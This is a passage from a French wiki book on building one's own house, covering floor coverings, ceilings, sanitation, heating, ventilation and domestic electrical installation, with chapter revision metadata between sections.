poêle ou cheminée, coffre-fort, bibliothèque...). La surface du plancher est recouvert d’un revêtement de sol dont les rôles sont multiples&nbsp;: * aspect en harmonie avec la décoration du lieu, * résistance aux chocs, pressions (meubles) et au passage des habitants, véhicules, etc., * résistance à l’eau (salles de bain), aux hydrocarbures (atelier, garage), etc., * contact agréable, doux ou chaud au toucher, * faible sensibilité au bruit (chocs, vibrations), * facilité d’entretien. == Différents types de revêtements de sol == Le choix du revêtement de sol dépend de la destination de la pièce, du rendu décoratif, du style de la construction&nbsp;: * carrelage — choix immense, facile à entretenir, froid, grande gamme de prix, pose délicate, * marbre et pierre — noble et naturel, cher, froid, facile à entretenir, résistant, pose délicate, * moquette — diverses qualités, salissant, chaud, grande gamme de prix, absorbe les chocs et le bruit, facile à poser si le sol est parfait, * parquet et plancher — naturel et chaud, entretien facile, relativement fragile , grande variété de motifs et coloris, facile à poser pour le [[w:parquet flottant|parquet flottant]], * dalles plastiques — facile à entretenir et à poser, relativement bon marché, chaud, assez peu esthétique, * liège plastifié — convient aux chambres et salles de bain, chaud, facile à poser, imputrescible. == Plancher en panneaux de particules == Très commun, le panneau de particules est formé de copeaux de bois agglomérés avec une colle. On le trouve sous différents formats destinés à être découpés à la scie circulaire aux dents munies de plaquettes en carbure de tungstène. Pour les sols, on utilise des dalles rectangulaires d’environ 1,5&nbsp;m² dont les chants comportent languettes et rainures. L’épaisseur classique est 22&nbsp;mm. Il existe des panneaux, un peu plus chers, qui résistent bien à l’humidité&nbsp;: on aura intérêt en en généraliser l’utilisation, même en dehors des toilettes et salles de bain. Les dalles se fixent à l’aide de vis sur des solives ou lambourdes, sur des planchers anciens ou directement sur une dalle en béton pour éviter une chape. Les panneaux doivent être parfaitement calés et emboîtés&nbsp;; vérifier le niveau et la planéité à l’aide d’une règle en alu. Il est prudent de stocker le plus longtemps possible à l’avance les panneaux dans le local où ils seront posés pour leur faire prendre la température et l’hygrométrie. On limitera ainsi le retrait ou la dilatation. Les joints doivent obligatoirement être soutenus par les lambourdes, surtout dans les endroits de passage. Pour améliorer l’isolation phonique on peut dérouler de la laine de verre entre les lambourdes. Un plancher en panneaux de particules peut être recouvert avantageusement d’un parquet flottant qui camouflera les défauts aux joints des panneaux. == La pose du liège au sol == Bien qu’il soit un peu moins à la mode, le liège peut rendre encore de grands services en tant que revêtement de sol&nbsp;: * dans les locaux d’habitation plutôt chauds et humides&nbsp;: salle de bain, toilettes car il est imputrescible et hydrophobe, * dans les chambres à cause de son aspect chaud, facile à entretenir, tiède au toucher, * en rénovation, là ou l’épaisseur du revêtement doit être la plus faible possible. En contrepartie il n’est pas approprié&nbsp;: * dans les lieux de passage intense car la pellicule plastique qui le protège se raye facilement, * sur des sols irréguliers, * dans des locaux où la chute d’objets marquerait sa surface. On choisira des dalles de bonne qualité, rigidifiées grâce à une pellicule de PVC en sous-face et un revêtement transparent résistant en surface. Les dalles les moins chères se déforment, se rétractent et gondolent à la pose. Le liège se pose avec une colle spéciale (acrylique...) et une spatule crantée sur un sol parfaitement lisse et plan. Les dalles, qui font généralement 30&nbsp;cm de côté, se coupent facilement à l’aide d’un cutter. Utiliser une règle métallique bien droite. Etaler la colle de façon régulière, positionner la dalle sans joint et la presser uniformément en tapant modérément sur une large cale en bois bien raboté. Essuyer soigneusement les traces de colle à l’eau ou à l’alcool suivant le type de colle. La position de la dalle peut être rectifiée pendant quelques minutes, le séchage complet pouvant nécessiter 24 heures. == Pose de carrelage ou de dallage == Pour l’autoconstructeur, deux solutions aisées permettent la pose de carrelage au sol&nbsp;: * la pose sur chape de mortier maigre et collage à l’aide de ciment pur répandu à la volée puis arrosé, * la pose sur une chape parfaitement lisse et plane à l’aide de ciment-colle étalé régulièrement à la spatule crantée. Il n’y a pas d’économie à faire sur la qualité du revêtement de sol. On trouve facilement des grés émaillés pas chers dont l’émail s’abîme très vite, par simple usure ou lors de chocs légers. Le grés pressé est un des matériaux les plus résistants. Le format optimum est de 20x20&nbsp;cm environ. Plus grandes, les dalles sont difficiles à régler de niveau et plus fragiles&nbsp;; plus petits, les carreaux sont plus nombreux et délicats à aligner. On commence la pose à partir du centre et selon les axes de la pièce, de façon à n’avoir que des coupes d’une largeur supérieure à quelques centimètres. Les coupes s’effectuent à l’aide d’une tronçonneuse à carrelage équipée d’un disque diamanté tournant dans l’eau. On trouve de telles machines très bon marché et capable de durer le temps de la construction. Il est aussi possible de louer. La largeur habituelle des joints est de l’ordre de 3 ou 4&nbsp;mm. On pourra utiliser des croisillons en plastique ou mieux des cales découpées dans une plaque de bakélite. On trouve la matière pour faire des joints sous forme de poudre ou de pâte colorée. On peut aussi utiliser du ciment (blanc de préférence) que l’on teintera avec des colorants. La pâte pour joint s’étale à la spatule en caoutchouc. Bien remplir les interstices pour éviter les bulles d’air. Lisser le joint à l’aide d’une éponge, enlever le surplus avant qu’il ne durcisse. S’il reste une fine pellicule de joint, on pourra l’enlever sans trop de difficulté après séchage, si nécessaire à l’acide chlorhydrique dilué (sauf sur le marbre et la pierre&nbsp;!). Construire sa maison - Les plafonds 7270 34696 2006-02-25T11:09:28Z F5ZV 1177 création du chapitre Sommaire général : [[Construire sa maison]] Le plafond est un élément important d’une pièce. Ses fonctions sont nombreuses&nbsp;: * diffuser en réfléchissant la lumière (éclairage indirect), * participer à la décoration de la pièce, * renvoyer ou au contraire amortir le son produit dans la pièce, * supporter les luminaires, suspensions, éléments de décoration, etc., * isoler thermiquement la pièce par rapport au niveau supérieur == Plafond traditionnel == La réalisation d’un plafond traditionnel plâtré ou d’un plafond tendu est du ressort du spécialiste. Le constructeur amateur se tournera plutôt vers des matériaux plus faciles à poser&nbsp;: * plaque de plâtre à peindre, * frise de pin, * dalles, * cadres tendus de tissu décoratif. == Plafond suspendu et faux-plafond == Si la hauteur brute de la pièce le permet on pourra utiliser avantageusement une structure métallique composée de rails suspendus à l’aide de pattes réglables en longueur. On peut ainsi ajuster la planéité et l’horizontalité de la structure avant d’y fixer la plaque de plâtre ou la frise décorative. L’espace entre le plafond suspendu et la sous-face de la dalle qui le supporte peut être utilisé pour passer toutes sortes de gaines&nbsp;: * de ventilation si leur diamètre n’est pas trop gros, * électriques - pour l’éclairage de la pièce ou la distribution au sol de l’étage supérieur, * chauffage, * distribution d’eau. L’espace peut aussi être rempli d’un matériau isolant (laine de verre..), au minimum le long des murs extérieurs pour lutter contre les ponts thermiques. Ce matériau isolant participe également à l’isolation phonique entre les étages. Au moment de la pose, noter sur un plan le passage de toutes les canalisations, la position des boîtes électriques de dérivation... == Poutres apparentes == Dans les constructions modestes d’autrefois on laissait apparente la structure du plancher (le solivage) de l’étage supérieur, par mesure d’économie. Cette tradition est redevenue d’actualité il y a une trentaine d’années avec la mode du «&nbsp;rustique&nbsp;». Aujourd’hui l’utilisation du bois comme élément de construction fait qu’on rencontre des poutres apparentes qui ne sont pas que décoratives. Elles sont généralement en pin ou épicéa, parfois en bois lamellé-collé, de hauteur comprise entre 12 et 20&nbsp;cm et de 8 à 10&nbsp;cm d’épaisseur et de longueur rarement supérieure à 3&nbsp;mètres. Rabotées ou poncées, elles peuvent être peintes, teintées, vernies, cirées ou parfois finement décorées. Une couleur sombre assombrira encore plus la pièce où elles se trouvent. Le plafond qu’elles supportent peut être constitué de frisettes (lames de bois rainurées) peinte ou simplement teintée) ou de plaques de plâtre peintes ou recouvertes d’un papier peint ou encore de panneaux de bois aggloméré recouvert d’un tissu de décoration. Sommaire général : [[Construire sa maison]] Construire sa maison - Installation sanitaire 7271 36828 2006-03-09T23:55:56Z 82.120.172.1 Sommaire général : [[Construire sa maison]] == Les eaux vannes == Les eaux chargées de déchets produites par les toilettes peuvent être dirigées vers une fosse septique, une fosse toutes-eaux ou vers le tout-à-l'égout. ===La fosse septique=== Elle tend à être remplacée par une fosse toutes-eaux. Pourtant la fosse septique a des avantages intéressants quand son fonctionnement est correct. C'est généralement une citerne en béton d'une capacité de 200 à 300 litres par personne habitant le foyer. Seuls les WC y sont raccordés et on doit s'abstenir d'y envoyer des produits chimiques qui risqueraient de détruire les bactéries qui y prolifèrent en digèrant les déchets ou des matériaux impustrescibles. Si son fonctionnement n'est pas perturbé, elle peut rester de dix à vingt ans sans être vidangée. On peut entretenir sa flore avec des produits spécialisés. ===La fosse toutes-eaux=== On y envoie à la fois les eaux vannes et les eaux usées. Il s'y opère d'abord une décantation et une fermentation partielle. Elle doit être vidangée régulièrement (de trois à cinq ans). La fosse toutes-eaux a un volume plus important que la fosse septique, elle peut être en matière plastique. ===Le tout à l'égoût=== == Les eaux usées == == Alimentation en eau froide == == Eau chaude sanitaire == L’ECS est utilisée principalement pour la toilette et la cuisine, la plupart du temps tiédie par mélange avec l’eau froide. Elle peut être produite par un chauffe-eau indépendant ou par un ''ballon d’eau chaude'' incorporé à une chaudière. On peut regrouper les chauffe-eau par familles basées sur la source principale d’énergie&nbsp;: * électricité — c’est le moyen le plus courant&nbsp ;; l’eau peut être chauffée en permanence, uniquement au moment du soutirage ou seulement pendant les périodes dites d'''heures creuses''&nbsp;; un chauffe-eau électrique de 150 litres convient pour la plupart des familles de 4 personnes, * gaz, butane ou gaz de ville — plus économique que l’électricité, mais nécessite une installation particulière (ventilation, stockage...), * fioul domestique — le ballon incorporé à la chaudière profite de la chaleur produite pour le chauffage&nbsp;; en été, il est plus rentable d’arrêter la chaudière à fioul et de produire l’ECS à partir de l’électricité ou mieux, à l’aide du soleil&nbsp;! * solaire — selon les régions, la production d’eau chaude sanitaire à l’aide du soleil peut s’étaler pendant 4 à 8 mois&nbsp;; l’autonomie dépassant rarement deux jours, il est nécessaire de prévoir un moyen complémentaire de chauffage de l’eau. * bois ou charbon — autrefois moyens de chauffage des habitations et de l’ECS (cuisinière à bouilleur) très répandu. Ils ne sont plus utilisés que de façon marginale pour la production d’eau chaude. L’installation d’un chauffe-eau ne pose pas de problème à condition de respecter les quelques points suivants&nbsp;: * fixation au mur par scellement ou par cheville à réaliser soigneusement (un chauffe-eau de 50 litres peut peser 75 kg). * pose au sol sur un plancher capable de supporter la masse, * tenir compte de la dilatation du tuyau de sortie, * prévoir l’écoulement de l’eau en dessous du groupe de sécurité, * penser au remplacement du chauffe-eau ou des résistances et à l’espace nécessaire à la manœuvre, * prévoir la vidange en point bas de la canalisation de sortie d’eau chaude. Pendant l’arrêt d’un chauffe-eau, des algues ou des micro-organismes peuvent se développer dans l’eau. Par précaution, ne pas utiliser pour la cuisine l’eau ayant stagné ainsi dans le chauffe-eau. L’ennemi numéro un du chauffe-eau est le calcaire qui se dépose dans le réservoir et autour de la résistance de chauffe. Un appareil adoucisseur d’eau réduit le risque d’entartrage. === Le chauffe-eau électrique === L’électricité étant la source d’énergie la plus coûteuse, il convient de ne pas gaspiller de calories inutilement et pour cela, placer le chauffe-eau au plus près des points d’utilisation&nbsp;: salle de bain, cuisine, buanderie... Si ces points d’utilisation sont très éloignés les uns des autres, il peut être rentable d’installer deux chauffe-eau indépendants. Pour la distribution d’eau chaude, choisir une tuyauterie du plus petit diamètre possible, en tenant compte bien sûr des pertes de charges&nbsp;; un diamètre de 10/12 est une bonne base de réflexion. Isoler les canalisations avec des gaines de mousse. En général le chauffe-eau électrique fonctionne en «&nbsp;heures creuses&nbsp;» et il est commandé par un relais électrique piloté par le distributeur d’électricité. Le volume du chauffe-eau doit permettre une autonomie d’au moins 24h. Pour une première estimation on peut compter 40 litres par jour et par personne au foyer. On peut sur-dimensionner le chauffe-eau et réduire ensuite la température maximum pour limiter les pertes. Réduire la température maximum est aussi une précaution limitant les risques de brûlures. Parmi les différents modèles on distingue&nbsp;: <ul> <li> Le chauffe-eau mural, dépassant rarement 150&nbsp;l (il peut être horizontal ou vertical). <li> Le chauffe-eau sur socle, généralement vertical. <li> Le chauffe-eau instantané, puissant mais de capacité réduite. Il est peu encombrant et peut se dissimuler sous un évier. <br>Ses pertes sont très faibles mais il réclame une installation électrique plus puissante et il ne fonctionne pas qu'en heures creuses. </ul> === Le chauffe-eau solaire === Ce dispositif qui a mis des années à entrer dans les habitudes des constructeurs et des utilisateurs est maintenant bien au point. Dans les régions du nord, il peut être rentabilisé (temps de retour sur investissement inférieur à la durée de vie de l’installation) grâce aux subventions des régions, des départements et au crédit d’impôt. La surface optimum est de l’ordre de 5m² mais peut varier beaucoup en fonction des besoins et de l’ensoleillement. La fourniture d’eau chaude ne peut pas être assurée entièrement par le soleil, un complément doit être apporté (par l’électricité, par exemple). Dans les régions moyennement ensoleillées la part du soleil dans l’énergie nécessaire pour chauffer l’eau est typiquement&nbsp;: * 95% de juin à septembre, * 50% à la mi-saison, * 10% pendant la mauvaise saison. Ce n’est bien sûr qu’une indication, il existe des programmes de calculs qui fournissent des estimations assez réalistes. L’orientation idéale des capteurs est plein sud, avec une inclinaison approximativement égale à la latitude du lieu plus 10 degrés mais une installation quelque peu différente peut quand même être admise&nbsp;; seule une étude approfondie peut permettre de mesurer les conséquences d’une orientation ou d’une inclinaison différente. Les capteurs doivent être installés au plus prés du ballon, à un endroit où le soleil n’est jamais masqué par la présence d’une construction, cheminée, arbre... Ils peuvent être intégrés en toiture (à la place de la couverture), fixés par dessus la couverture ou installés sur une console contre un mur sud, une terrasse... == La robinetterie == La robinetterie est un poste budgétaire important dans le coût de la construction, parce que le bon matériel est cher et parce qu’il peut y avoir beaucoup de robinets, vannes et mitigeurs thermostatiques dans une maison. Pourtant il ne faudra pas sacrifier la qualité au prix car le coût de remplacement d’un matériel bon marché est plusieurs fois le prix initial de ce matériel, sans parler des ennuis que peut causer une fuite, un grippage... === Différents types === Pour les robinets ordinaires, simples ou mélangeurs, la technologie idéale utilise des éléments en céramique, qui ne vieillissent ni ne s’usent pas contrairement aux robinets utilisant des joints en caoutchouc. Ce sont les robinets «&nbsp;quart de tour&nbsp;» qui ont toutefois l’inconvénient de n’être pas très faciles à régler en débit. Les mitigeurs thermostatiques sont très pratique pour la douche car ils maintiennent constante la température de l’eau tiède quelques soient les variations de pression, de débit et de températures de l’eau chaude et froide. En contrepartie ils sont chers et nécessitent souvent le remplacement des joints. Le raccordement des robinets se fait généralement à l’aide de raccords rapides où l’étanchéité est réalisée par une bague venant s’incruster dans le tube lors du serrage des écrous. Ce système facilite le démontage du robinet. On peut utiliser des flexibles qui permettent un positionnement plus facile du robinet par rapport aux tuyaux de distribution. === Entretien === Le nettoyage de la robinetterie chromée ne doit pas être effectué avec des poudres à récurer mais avec un produit liquide. Si l’eau est calcaire, essuyer les gouttes d’eau à l’aide d’un chiffon. Suivant la qualité de l’eau, il peut être nécessaire de démonter tous les 5 ou 10 ans la partie mobile du robinet pour enlever le tartre, les dépôts... et graisser l’axe. Changer les joints si nécessaire pour garantir l’étanchéité après remontage. ==Liens externes== *[http://particuliers.edf.fr/rubrique28.html ''Fiches EDF sur les chauffe eaux''] *[http://fr.ekopedia.org/Entretien_du_chauffe-eau ''Entretien des chauffe eaux sur Ekopedia''] *[http://www.cscnet.org/rubrique69.html ''Chauffe-eau électriques sur Commission de la Sécurité des Consommateurs''] Construire sa maison - Le chauffage 7272 35147 2006-02-28T21:08:33Z F5ZV 1177 /* Régulation du chauffage */ ajout § confort Sommaire général : [[Construire sa maison]] Avec l'augmentation du coût de l'énergie, l'isolation thermique et le chauffage sont deux postes qui devront être étudiés et réalisés avec attention. == Différents types de chauffage == Le choix d’un type de chauffage sort du cadre de cet article. Du point de vue de l’'''autoconstruction''' , le travail à réaliser, les gains, la difficulté... sont très différents. Voici quelques axes de réflexion par type d’énergie&nbsp;: * électrique par convecteurs - pas de difficulté particulière, économie importante en investissement mais peut se révéler d’un coût élevé à l’usage si l’isolation n’a pas été prévue en conséquence, * électrique par câble chauffant dans la dalle - spécifications particulières pour la pose du câble, [[Construire sa maison - La dalle flottante|dalle flottante]] épaisse, abonnement heures creuses, * chaudière électrique et circulation d’eau - chaudière peu encombrante, pas de contrainte particulière pour l’installation, * pompe à chaleur sur source d’eau ou réseau de captage de chaleur dans le sol («&nbsp;géothermie&nbsp;») - travaux particuliers de terrassement, * chaudière au gaz raccordée au réseau - spécifications particulières pour l’alimentation et le raccordement, évacuation des gaz brûlés par sortie directe ou dans un conduit de fumée, * chaudière au fioul ou gaz liquéfié - idem chaudière au gaz ci-dessus mais contraintes particulières pour le stockage (sécurité, risques de pollution) et le remplissage des cuves (accès camion), * chaudière au bois (en bûches ou déchiqueté) - spécifications particulières pour le stockage et la chaufferie, accès camion pour livraison, * solaire thermique couplé à un moyen de chauffage de base - orientation et pente du toit, proximité de la chaufferie de base et des capteurs. Sur le plan de la technique de chauffage les difficultés, le gain, le matériel nécessaire sont divers&nbsp;: * convecteurs ou radiateurs électriques — voir plus haut, * circulation d’eau dans des convecteurs — chalumeau oxyacéthylénique, cintreuse, savoir-faire nécessaire, * circulation d’eau dans la [[Construire sa maison - La dalle flottante|dalle flottante]] — pompe pour mise en pression des circuits au moment de couler la dalle&nbsp;; le distributeur est en général placé au centre de l’étage, dans un placard&nbsp;; c’est peut-être le type de chauffage le plus facile pour l’amateur (distribution par tuyaux en polyéthylène sans soudure), il convient aussi pour les PSD (plancher solaire direct), * air conditionné — passage et dimensionnement des gaines devant être prévus dès l’étude architecturale&nbsp;; permet la climatisation. == Régulation du chauffage == La température d’une pièce doit être adaptée au tempérament de ses occupants et ne pas varier trop avec la température extérieure ou à cause des apports de chaleur ou de froid indépendants du système de chauffage (rayon de soleil, cuisson des aliments, ouverture d’une porte...). La notion de confort thermique ne dépend pas que de la simple température exprimée en degrés. L'hygrométrie est un élément important, au même titre que la présence ou non de mouvements d'air à l'intérieur de la pièce. Un autre facteur de confort est le rayonnement infra-rouge émis par les parois du local : une fenêtre ne rayonne pas en elle-même, elle laisse passer les rayons du soleil s'il y a lieu sinon elle paraît froide, alors qu'un mur isolé rayonne et paraît plus chaud. Une véranda où il règne une température de 20°C paraîtra plus froide qu'une chambre sans fenêtre à cette même température. La puissance du générateur de chauffage doit être régulée en fonction de la température intérieure mais le système de régulation doit aussi pouvoir anticiper les besoins en calories grâce à une mesure de la température extérieure à l’aide d’une sonde. Il existe à présent des systèmes de régulation très performants à un prix abordable et couplés à une horloge. == Programmation du chauffage == On utilise rarement toutes les pièces d'une habitation en même temps. Pendant une période d'absence récurrente, il est inutile de chauffer la totalité de l'habitation à 20°C. Un système de programmation du chauffage permet de piloter la température de chaque pièce ou de chaque zone de vie heure par heure, jour par jour. Comme les déperditions thermiques sont proportionnelles à la différence de température entre la pièce chauffée et l'extérieur, on a intérêt à réduire la température toutes les fois que c'est possible. L'efficacité en matière d'économie est plus grande lorsque le local chauffé a une très faible inertie. == Stockage et distribution == Mises à part la chaudière électrique et celle utilisant le gaz de ville, la chaufferie doit se trouver à la fois près du lieu de stockage de l’énergie et des points d’utilisation de la chaleur produite. Le fioul se stocke en citerne placée au-dessus d’un bac de rétention qui garantit contre le risque d’infiltration donc de pollution du sol en cas de fuite. La cuve, d’une capacité comprise entre 1000 et 3000 litres, peut être en tôle ou en matière plastique (polyéthylène). Les cuves à double paroi peuvent être enterrées. Le GPL (gaz de pétrole liquéfié) est stocké dans une cuve spéciale fournie par le distributeur la plupart du temps enterrée. La cuve reste la propriété du distributeur. La citerne aérienne ne nécessite pas de fouilles mais n’est pas spécialement esthétique. L’installation d’une cuve est soumise à des règles précises de proximité de la voie publique, des voisins... Une cuve vide flotte comme un bouchon, il importe de la remplir partiellement ou de la lester si la fouille risque d’être inondée avant remblaiement. Le bois en bûche impose un lieu de stockage à l’abri bien ventilé et proche du lieu d’utilisation. En général on prévoit le stockage de deux années de consommation, ce qui permet de rentrer du bois fraîchement coupé et d’en consommer du sec. Au-delà de deux ans de stockage, certaines essences comme le hêtre perdent une partie de leur qualité. Prévoir une aire de travail permettant le sciage éventuel et la refente. On veillera particulièrement à protéger le lieu de stockage ou de séchage du bois, des invasions d’insectes xylophages (qui peuvent être déjà présents dans le bois de chauffage lors de la livraison), en cimentant hermétiquement le sol et les murs et en isolant des boiseries intérieures (attention au béton cellulosique qui peut aussi être infesté). Si possible on placera la réserve hors de l’habitation dans un local isolé couvert, plutôt que sous une sous-pente de l’habitation. == Le générateur de chauffage == La production de chaleur destinée à maintenir la température souhaitée dans toute la maison peut être effectuée par une grande variété de moyens répartis dans chacune des pièces (poêle, convecteur électrique...) ou constituée par un seul générateur dont la chaleur est distribuée dans chaque pièce par un fluide circulant dans des radiateurs (chauffage central). La chaudière à fioul, bois (déchiqueté ou en bûches), charbon (de plus en plus rare)... doit être placée dans un local aménagé en chaufferie qui peut aussi servir de lingerie et accueillir le lave-linge, le sèche linge ou un séchoir intérieur. Elle doit se trouver près d’un conduit de fumée et à proximité du lieu de stockage d’énergie&nbsp;: citerne, bûcher... L’air nécessaire à la combustion étant prélevé dans la pièce, il est nécessaire de prévoir une bouche d’aération. Une chaudière électrique ou au gaz, moins encombrante que la chaudière au fioul, moins salissante qu’une chaudière au bois-charbon, peut être placée dans un local plus petit, voire un placard spécialement aménagé en fonction des règles de sécurité. La chaudière à gaz à ventouse ne nécessite pas de conduit de fumée, l’air neuf et les gaz brûlés circulent dans un double conduit qui traverse un mur extérieur. == Poêles et cheminées == Ces moyens de chauffage combinent à la fois l’utile et l’agréable. En cas de panne prolongée d’électricité, un poêle permet de maintenir une température minimum. Le rendement d’un poêle est nettement supérieur à la meilleure des cheminées à feu ouvert mais l’effet esthétique n’est pas le même, un âtre peut être une œuvre d’art. Le poêle «&nbsp;alsacien&nbsp;» (que l’on trouve également en Autriche, Allemagne...) est un poêle massif en brique habillé de faïences. Le circuit des gaz brûlés est suffisamment long pour que ceux-ci se refroidissent au contact de la brique et les calories emmagasinées pendant la période de combustion (de l’ordre d’une heure) sont restituées pendant une demi-journée. Le rendement d’un tel appareil est remarquable et le confort qu’il procure est exceptionnel. Seul inconvénient&nbsp;: le bois qu’il brûle doit être refendu en morceaux relativement fins pour favoriser une combustion rapide. Intermédiaire entre le poêle et la cheminée se trouve l’insert, qui prend place dans l’âtre en réduisant fortement l’appel d’air. Il améliore également les conditions de sécurité en réduisant les risques d’incendie ou d’accident. Par la quantité d’air nécessaire à son tirage, une cheminée à feu ouvert nécessite une entrée d’air particulière, en général prise sur l’extérieur, dans le sous-sol ou vide sanitaire. Elle évite aussi les inversions de tirage dues à la VMC (ventilation mécanique) qui crée une dépression dans la maison Sommaire général : [[Construire sa maison]] Construire sa maison - La ventilation 7273 34702 2006-02-25T11:23:11Z F5ZV 1177 création du chapitre Sommaire général : [[Construire sa maison]] La ventilation des locaux est non seulement souhaitable mais réglementée. Avec l’isolation thermique des bâtiments, la lutte contre les entrées d’air indésirables a rendu obligatoire un système de ventilation contrôlée. La mise en place des gaines de ventilation est évoqué dans le chapitre ''canalisations''. == Naturelle ou mécanique == Les constructions anciennes comportent beaucoup d’entrées d’air incontrôlées qui assurent la ventilation de la maison, surtout en période de grand vent... En temps normal un système de ventilation mécanique par extraction ou insufflation n’est pas nécessaire car si l’air passant sous les portes ne suffit pas on peut toujours ouvrir la porte ou la fenêtre. La réduction des dépenses de chauffage a obligé à traiter les fuites des portes et fenêtres en ajoutant des joints dans les feuillures. Comme la plupart des êtres vivants (animaux et végétaux) consomment de l’oxygène et rejettent du gaz carbonique (et bien d’autres gaz produisant des mauvaises odeurs) il est nécessaire de renouveler l’air mais en en contrôlant le flux. == Du simple flux au double flux avec échangeur == En général, un système de ventilation à simple flux se limite à l’extraction de l’air vicié dans les pièces les plus polluées (toilettes, cuisine, salle de bain). Mise à part les toilettes, ces pièces sont aussi celles où l’air est le plus chaud (four, cuisinière...). Il peut être intéressant de récupérer les calories de l’air extrait pour tempérer l’air neuf (prélevé à l’extérieur) insufflé dans les autres pièces (chambres, salon...). Pour cela un système de ventilation à double flux avec échangeur est nécessaire. Il n’est pas obligatoire ni souhaitable (à cause du bruit) d’insuffler dans chaque chambre. Une bouche d’aération par étage dans un couloir peut suffire à créer une circulation d’air. L’échangeur est constitué généralement de plaques séparant le flux d’air extrait (en principe chaud et humide) du flux d’air entrant (normalement plus froid mais en été ce peut être le contraire et l’air entrant est alors «&nbsp;rafraîchi&nbsp;» par l’air extrait). Lors du refroidissement de l’air extrait il peut se produire de la condensation qui doit être évacuée par un petit tuyau. La prise d’air frais peut être effectuée dans les combles. Un grillage fin et robuste sera placé à l’extrémité de chaque entrée ou sortie d’air pour empêcher les insectes et rongeurs de s’immiscer dans les gaines de ventilation. Construire sa maison - Installation électrique 7274 37221 2006-03-12T12:40:28Z 62.35.48.81 /* Les besoins */ Sommaire général : [[Construire sa maison]] La réalisation d’une installation électrique domestique ne réclame pas de don particulier. Il suffit d’apprendre les gestes élémentaires, d’avoir suffisamment de bon sens et de bien connaître les règles. On trouvera en librairie un petit vade-mecum et un bon ouvrage d’initiation qui apportera l’essentiel. Cette section n’a pas d’autre prétention que d’attirer l’attention de l’électricien-amateur sur cet essentiel. == Les besoins == On commencera par recenser tous les points d’utilisation potentiels de la future construction en commençant par les prises de courant&nbsp;: * Extérieur&nbsp;: prises pour outillage électroportatif de jardinage, bricolage... Ces prises doivent pouvoir être coupées de l’intérieur de la maison, et doivent disposer de leur propre circuit muni d’un conducteur de protection vers le tableau électrique. Penser à tirer les gaines avant l’isolation thermique,. * Garage&nbsp;: une prise tous les deux mètres de chaque côté de l’aire de rangement des véhicules. * Atelier&nbsp;: une à deux prises par mètre au-dessus de l’établi, prises sous l’établi, prises au plafond, éclairage puissant au-dessus des lieux de travail. * Cave&nbsp;: une prise et une lampe (interrupteur avec témoin situé à l’extérieur du local. * Chaufferie&nbsp;: prises pour la chaudière, le chauffe-eau électrique... * Cellier&nbsp;: prises pour le congélateur. * Buanderie&nbsp;: prises pour le lave-linge, sèche-linge. * Lingerie&nbsp;: une ou deux prises par mètre au niveau des plans de travail (machine à coudre, fer à repasser...) éclairage puissant au dessus des plans de travail. * Salle-de-bain&nbsp;: normes particulières. Prises protégées par disjoncteur différentiel sensible. Prises pour rasoir, sèche-cheveux, chauffage d’appoint, sèche-serviettes... * Cuisine&nbsp;: une prise par mètre derrière les meubles pour les appareils fixes (lave-vaisselle, réfrigérateur, terminal pour four et plaques de cuisson, four à micro-ondes. Plusieurs prises au-dessus des plans de travail pour appareils électroménagers. * Salon, salle à manger, chambres, bureau&nbsp;: deux prises par mur plus une à l’entrée de chaque pièce pour l’aspirateur. * Salle de jeu&nbsp;: comme pour les chambres mais appareillage sécurisé pour les enfants. Les prises doubles comptent normalement pour un point d’utilisation. Faire l’inventaire des besoins en fonction des appareils connus et des acquisitions prévisibles. Tenir compte des différentes possibilités d’aménagement des pièces. Le nombre de prises peut sembler énorme et pourtant il se révélera immanquablement insuffisant dans certains cas particuliers. Le dimensionnement des prises dépend de la puissance qui leur sera demandé. Les circuits du chauffage électrique sont à distinguer de ceux des prises banales. == Les tableaux == Le tableau électrique est le point de convergence de tous les circuits élémentaire de la maison. Si le nombre de circuits dépasse une douzaine on aura intérêt à installer des sous-tableaux qui faciliteront le câblage et le dépannage. L’entrée du tableau principal est reliée directement au compteur par l’intermédiaire d’un disjoncteur différentiel. Le diamètre des fils utilisés doit être choisi en conséquence (par ex. 6&nbsp;mm²). Un circuit est formé d’un conducteur de phase et d’un conducteur de neutre complété d’un conducteur de protection si nécessaire. Comme le circuit doit pourvoir être totalement isolé du réseau, il est obligatoire de couper la phase avec un porte-fusible (ou mieux&nbsp;: un petit disjoncteur, plus cher mais bien plus pratique) et de couper le neutre avec une sorte de porte-fusible dont le fusible serait remplacé par un petit cylindre métallique. Actuellement les deux dispositifs de coupure (phase et neutre) sont réunis dans un seul module. Sur le tableau, chaque disjoncteur sera repéré par un numéro correspondant à la description du circuit sur un schéma placé à proximité du tableau. Les tableaux pourront être placés dans un placard ou dans une gaine technique pourvu qu’ils soient facilement accessibles. Prévoir des tableaux suffisamment grands pour permettre des extensions futures. Un témoin au néon indiquera sur chaque tableau la présence de l’électricité. == Circuits électriques == Un circuit est un ensemble de prises OU de points d’éclairage. Le nombre de points d’utilisation d’un circuit est limité a 7. Un circuit de prises comprendra le conducteur de protection à la terre. Le circuit est protégé par un fusible ou mieux, par un disjoncteur modulaire placé sur le tableau d’où part le circuit. Cette protection peut aussi être un disjoncteur différentiel, c’est-à-dire coupant le circuit lorsqu’une fuite électrique est détectée. La section des fils utilisés dépend de la nature du circuit&nbsp;: pour des prises de courant ordinaires on utilisera du fil de section plus élevée que pour un circuit de points d’éclairage. De même la section des fils d’alimentation d’une plaque de cuisson est plus grande que celle d’une prise ordinaire. La couleur des fils est normalisée, la phase, le neutre et le conducteur de protection (terre), le fil de retour d’un interrupteur... sont de couleurs différentes. On évitera de passer des fils de couleurs identiques dans la même gaine. Lors du câblage on aura intérêt à mettre des étiquettes numérotées sur chaque fils, sur chaque gaine et à laisser un petit schéma dans la boîte de dérivation ou le tableau concerné pour faciliter la maintenance éventuelle. Les boîtes de dérivation doivent être facilement accessibles, suffisamment vastes et repérées sur le schéma général de l’installation. Le raccordement des fils se fait sur l’appareillage, sur les bornes ou disjoncteurs du tableau ou encore à l’aide de «&nbsp;dominos&nbsp;». Dénuder précautionneusement les fils et veiller à bien serrer les vis. Voir aussi&nbsp;: canalisations électriques == Appareillage == L’appareillage est constitué principalement de&nbsp;: * interrupteur simple - un circuit d’allumage de lampe, par exemple, * interrupteur à deux positions - pour un allumage «va-et-vient», * bouton poussoir - pour un circuit temporisé (minuterie) ou un télérupteur, * interrupteur à 2 positions - commande électrique de volet roulant, de store, etc., * prises de courant, * borniers de raccordement, * télérupteur, minuterie, horloge, etc. == Recette (réception) de l’installation == Pour être raccordée au réseau général de distribution d’électricité, l’installation domestique doit répondre à des normes précises. La vérification de la conformité à ces normes est effectué par un organisme qui enverra un inspecteur contrôler que la résistance de la prise de terre n’est pas trop élevée, que 